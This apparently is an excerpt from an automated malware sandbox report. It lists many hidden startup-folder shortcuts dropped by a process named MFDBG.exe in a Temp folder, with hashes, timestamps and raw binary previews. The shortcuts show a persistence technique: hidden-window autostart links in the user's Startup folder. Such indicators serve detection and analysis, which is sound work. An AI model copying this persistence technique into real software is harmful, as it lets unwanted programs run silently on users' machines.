Preview:	L..................F...."...]W%.{....#..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a3fa098697634d9ab04533a21a604762.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936895558882424
Encrypted:	false
SSDEEP:	24:8jXGhBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8g30R6rMhpBoUBxdRd1nYyg
MD5:	73614ECE8D54BD1B3C681393763DE586
SHA1:	3DA7BBA5244BD4F0801A0B7B2F05F1A7E2CFBA44
SHA-256:	BA852B29B00984D2A4459337339CBC371BFE512627064B92CC303BCBDDB77B63
SHA-512:	CB5597B05D45EC9CCE04039B549730DDBD4FEC712CE9C26A306909085AFEA48C15A2308B8F7F2067BB2ACF00B7DB82081CF35D4BCF9021263AD9E6388F9FC369
Malicious:	false
Preview:	L..................F...."...]W%.{...t.,.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a45c21b0abaa461cad5331ab47086021.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941526656908063
Encrypted:	false
SSDEEP:	24:8yhBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:849c0R6rMhpBoUBxdRd1nYyg
MD5:	417932508636BE7D475724257DCD179A
SHA1:	31A778AD836818C5459B1F6438569B71EE86B568
SHA-256:	07CA586FD39A1E70551419F1F62DF3409B354984053F545255307B3F6C4EA5DF
SHA-512:	81C8718819A01E0375411A32CECEDBE4945ABD0600904648E70225D092D643ABD1D5C4D4B40C40F0B78EC675116A50E70C934B705C34D6B6F03716C9541EFDBC
Malicious:	false
Preview:	L..................F...."...]W%.{.....w.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a48b434b5de24134b68fb4f1c307b41c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937658498735758
Encrypted:	false
SSDEEP:	24:8VhBfbp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8FDO0R6rMhpBoUBxdRd1nYyg
MD5:	3136CE6F84D41CE6E0D691A88BAC15E3
SHA1:	7E5D5F4DC5456C5EBFED5A9B1E682C1B7BFFE5F7
SHA-256:	4D2B393829E28DE9E4CF3E05FE1981FAC6CCB82326DCB26EC476C1CE8766F11F
SHA-512:	010274A0F0064143E19C01C5D11D1C2BA791F0AE6D682F0E25F4A73AA2FB310343EABC659482E8122879E47C2D32FFA653FB2D84A0E66B7DE0AB2D86724D4FA2
Malicious:	false
Preview:	L..................F...."...]W%.{...d./.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...d./.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4da11300f1e4bb8a5b107ecf81790ae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936868545473873
Encrypted:	false
SSDEEP:	24:8Z7qb9hBfU8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ap0R6rMhpBoUBxdRd1nYyg
MD5:	A445B00E369EFD0D7E7D1971681B048F
SHA1:	8FD8C30F59B05890C497DA64513968D4E3960731
SHA-256:	30040B88ECDD5DB897D33B493470FCF9EE6728C584321BBBF927B94DF5BADA80
SHA-512:	152790378D95D901C07DA6E48378918BD399FF12CBEF8AE3A5025134D25DA9F12A5B2605A83D7B9D07C86F3266B564CA8E137C190D3F01052BDF51159ADC864D
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4dedbd018c441d39feaf0436b7c61e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936786014939012
Encrypted:	false
SSDEEP:	24:8K/GhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85K0R6rMhpBoUBxdRd1nYyg
MD5:	EEA78D42FCE58DA210CEE8151350B470
SHA1:	CA47D2C18BAB32E95E6170EF97C4429844A8DE74
SHA-256:	377CC7E1DF4FA0635130CDE93D8F2E99206EC9D2060CADE85B004EDEFB969BA4
SHA-512:	3AE7BD8246AD59C261A7E495C677D2E73584D7BE25831D86787B061AA52B86A38C8A7E2DD94A8E464993F74ADDAEB0AF005AEC938546C73DC6B3CE0315D6B072
Malicious:	false
Preview:	L..................F...."...]W%.{.....D.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#B.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4ea4c869518476aad3894c5286de939.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930413724703579
Encrypted:	false
SSDEEP:	24:81PhBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81Tud0R6rMhpBoUBxdRd1nYyg
MD5:	755C44F1F404636F6D6D554556A57C33
SHA1:	56A5673312719771D2EA833F8BE677508EBCA4C3
SHA-256:	A02EF49102D23AC84EC085F1B76CAE7E635370BA2A887E4D58577BAAEBE8EE36
SHA-512:	46483A9F38ACA0401ADE5802E160419711A7AE17B5B3C38EFDC6A98C37EAF59747E767F65A67F2090E82F8BCDB84D41833F6F02783B2ECE80180F51117EE84AB
Malicious:	false
Preview:	L..................F...."...]W%.{....x..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5140013bd524588a82e603e4a25c8f4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9340755768692155
Encrypted:	false
SSDEEP:	24:84hBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8alc0R6rMhpBoUBxdRd1nYyg
MD5:	2D460B1C001351FACB8CA4BA4C6DA96A
SHA1:	75D54F80D7168E98D8DDF39242C25B0AD1518FF7
SHA-256:	24C398C3CD1EED270A76EFCF9349AB41A2CE727067DF8AB50DA5602444415B21
SHA-512:	10431F880DC79B467BE46E504BFC48A7106D3AF1E733DDCC549CAEAD702ED7560F81D9412C0C05FD50F25DD69E5408BFBA67849569E7EF1638ED697D46BF9F1B
Malicious:	false
Preview:	L..................F...."...]W%.{...b=..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a52e2ea18f2e451d88bf0b836968f8a1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939332626074869
Encrypted:	false
SSDEEP:	24:8+hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ur0R6rMhpBoUBxdRd1nYyg
MD5:	01317743147C645C95C04A0E38F39E9A
SHA1:	0D29DC62C859C3427FFD7CC724524B89FFA0EE33
SHA-256:	572289F7E87EDFE21BE68861D4E18CBDAF662082577B07D34C14D38EB6F759BB
SHA-512:	0D21F7498BA7CBDC5E2FE15FFDDC61CC6380F0E777C1F01F500AD134273F2C4E79157669552DB83CB2D42E14EE67A41C9926CBA150C6325F40356CE857D3DF11
Malicious:	false
Preview:	L..................F...."...]W%.{....P..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....P..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a598f9273e984120acacebb5b593b3b5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942205863897635
Encrypted:	false
SSDEEP:	24:89hBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:898c0R6rMhpBoUBxdRd1nYyg
MD5:	B15A928F71BC97E449C7C1BAD611F6D3
SHA1:	6DDEFF4F8A4067184F6B9A8BB3E48945E65A5A70
SHA-256:	51E67B7FB30D55A6843385A032EB9A421F8CBAC5C67E60CD956A105CAE620B0C
SHA-512:	9210EBAC98ED9F4188CAB6088CEDD6C6BBE7A0CF7D9D38A1238749B239D5FCC85681A9E1F903A57F9875E044ECA49888FDAE0B6E45419448D3200CBFE14AAB48
Malicious:	false
Preview:	L..................F...."...]W%.{...B..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5c73ebc5d854883ba34c91e58c60c38.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94427504058979
Encrypted:	false
SSDEEP:	24:8CnihBf58iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CnI20R6rMhpBoUBxdRd1nYyg
MD5:	054624E60D2307442069DE91EB871845
SHA1:	4071E2549700D4A4B14BA4F29D0BD0075228A9CB
SHA-256:	41694478AB6B518D9499FCED96527971560D94B4FD139EA849B28262CD1176B1
SHA-512:	87B3471E89907EEA887D6722B97D0DDB228D8E926C795E832038DE99375D9EF793920DD423E6BDE86EFD2D7F54CE7A29E36A4278745C4C428112DEE94D89CEE5
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...._.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5d0177667d146c7b00864692eb8815a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936291003353065
Encrypted:	false
SSDEEP:	24:8FhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8V+0R6rMhpBoUBxdRd1nYyg
MD5:	499CA971537B48CAFC19434695D86EAC
SHA1:	14B2DC7D6B8D1A88851F3C14BE3E1E0AF993B4F0
SHA-256:	88FFAF5B2ACB945A75BCC7C673202920B937ED90F5B722D21C53203E636B1927
SHA-512:	5F4CD0E99769DDE4517CFA87D026FEE7D10CBB134E628EBB43E6DE004ECA901F9F45C48B053E029FB1C1A54D8349964FE227C8713AD8A201408D8425623CBE89
Malicious:	false
Preview:	L..................F...."...]W%.{.....x.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5e9a431f4fb43d9b7e4903659053b52.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9293394683609595
Encrypted:	false
SSDEEP:	24:809hBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Mud0R6rMhpBoUBxdRd1nYyg
MD5:	6349829DC4C6B7E54F4E5E243FC8E840
SHA1:	5152FD65130227ACCEFB8FFA2F2B9985B38E2980
SHA-256:	4678B2E17C70DA5B12A812C904215C450E064E9D9A6E70CBD44CC78EC610DCF0
SHA-512:	0E88D176D1C13F7590B02DF3F5570D769A6703FD1C0B7E053E2DFCB94E66D091482DB961066073F3B720BF74A9EC99675995078C3CC648EBE4CDBC1E5F357213
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a74e34057cfb4321aff7029dc61d0c99.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93986421984943
Encrypted:	false
SSDEEP:	24:8JhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Je0R6rMhpBoUBxdRd1nYyg
MD5:	0436834A21DE95A1BF3DEBBD359E966F
SHA1:	87E7FFA704A1F89F4F6463E36D5A2C3C81A194F1
SHA-256:	E4882613DA61BB61FDA3BC3E9D56F54C755D9A0406355047E1D920C342C28A97
SHA-512:	721532626258C284089BA4E6F4B95B04270DF656C1DF10439FE46612048AB917450F45C677B420AE137B47DA111165C9ADDA8BDCDC490BF6FA210ABD1F93A9CF
Malicious:	false
